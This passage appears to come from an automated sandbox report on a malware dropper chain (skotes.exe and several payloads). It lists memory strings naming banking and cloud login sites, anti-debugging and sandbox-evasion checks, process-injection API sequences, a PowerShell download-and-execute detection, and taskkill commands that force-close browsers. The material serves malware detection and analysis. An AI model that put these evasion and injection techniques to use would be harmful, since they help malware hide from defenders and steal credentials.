Source: skotes.exe, 00000006.00000002.3482291787.000000000152A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092005941.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092005941.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092697959.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3248884803.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 176986cc9c.exe, 0000000F.00000003.3272351403.0000000005432000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: d0d9725343.exe, 0000000B.00000003.3092005941.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092697959.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 0000001D.00000002.3378785506.000002149CEB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 3981530833.exe, 00000010.00000003.3283575552.00000000013BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmp, f30149f036.exe, 0000000C.00000002.3458889721.00000000009A9000.00000040.00000001.01000000.0000000B.sdmp, f570600774.exe, 0000000E.00000002.3180488584.0000000000E56000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04880C3A rdtsc

0_2_04880C3A

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Code function: 11_2_0043B480 LdrInitializeThunk,

11_2_0043B480

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Code function: 8_2_0022D86F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_0022D86F

Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe

Code function: 12_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

12_2_00402A20

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7652B mov eax, dword ptr fs:[00000030h]	0_2_00F7652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7A302 mov eax, dword ptr fs:[00000030h]	0_2_00F7A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00C0A302 mov eax, dword ptr fs:[00000030h]	2_2_00C0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00C0652B mov eax, dword ptr fs:[00000030h]	2_2_00C0652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00C0A302 mov eax, dword ptr fs:[00000030h]	3_2_00C0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00C0652B mov eax, dword ptr fs:[00000030h]	3_2_00C0652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C0A302 mov eax, dword ptr fs:[00000030h]	6_2_00C0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C0652B mov eax, dword ptr fs:[00000030h]	6_2_00C0652B
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_002561A9 mov edi, dword ptr fs:[00000030h]	8_2_002561A9
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00221B70 mov edi, dword ptr fs:[00000030h]	8_2_00221B70
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00221B70 mov edi, dword ptr fs:[00000030h]	10_2_00221B70
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_10007A76 mov eax, dword ptr fs:[00000030h]	12_2_10007A76
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_10005F25 mov eax, dword ptr fs:[00000030h]	12_2_10005F25
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00F4D4A3 push dword ptr fs:[00000030h]	12_2_00F4D4A3
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B40D90 mov eax, dword ptr fs:[00000030h]	12_2_04B40D90
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B4092B mov eax, dword ptr fs:[00000030h]	12_2_04B4092B

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Code function: 8_2_0023C275 GetProcessHeap,

8_2_0023C275

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_0022D863 SetUnhandledExceptionFilter,	8_2_0022D863
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_0022D86F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0022D86F
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_0023695D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0023695D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_0022D4B3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0022D4B3
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_0022D863 SetUnhandledExceptionFilter,	10_2_0022D863
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_0022D86F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0022D86F
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_0023695D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0023695D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_0022D4B3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0022D4B3
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_004099EA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_004099EA
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0040A54A
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0040CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0040CDA3
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0040A6E0 SetUnhandledExceptionFilter,	12_2_0040A6E0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_10002ADF
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_100056A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_100056A0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_10002FDA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_10002FDA
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B49C51 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_04B49C51
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B4A7B1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_04B4A7B1
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B4D00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_04B4D00A
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B4A947 SetUnhandledExceptionFilter,	12_2_04B4A947

Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: f570600774.exe PID: 5936, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Code function: 8_2_002561A9 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

8_2_002561A9

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Memory written: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe "C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe "C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: 3981530833.exe, 00000010.00000000.3188474119.0000000000F62000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe	Binary or memory string: AProgram Manager
Source: file.exe, 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: AProgram Manager
Source: f30149f036.exe, f30149f036.exe, 0000000C.00000002.3458889721.00000000009A9000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: rProgram Manager
Source: f570600774.exe, 0000000E.00000002.3180488584.0000000000E56000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: vt]Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00BEDD91 cpuid

6_2_00BEDD91

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: EnumSystemLocalesW,	8_2_00240111
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,	8_2_00240170
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: EnumSystemLocalesW,	8_2_00240245
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,	8_2_00240290
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_00240337
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: EnumSystemLocalesW,	8_2_0023BB60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_0023FBD2
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,	8_2_0024043D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,	8_2_0023B5BC
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: EnumSystemLocalesW,	8_2_0023FE23
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_0023FEBE
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: EnumSystemLocalesW,	10_2_00240111
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,	10_2_00240170
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: EnumSystemLocalesW,	10_2_00240245
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,	10_2_00240290
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_00240337
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: EnumSystemLocalesW,	10_2_0023BB60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_0023FBD2
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,	10_2_0024043D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,	10_2_0023B5BC
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: EnumSystemLocalesW,	10_2_0023FE23
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_0023FEBE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe VolumeInformation	Jump to behavior
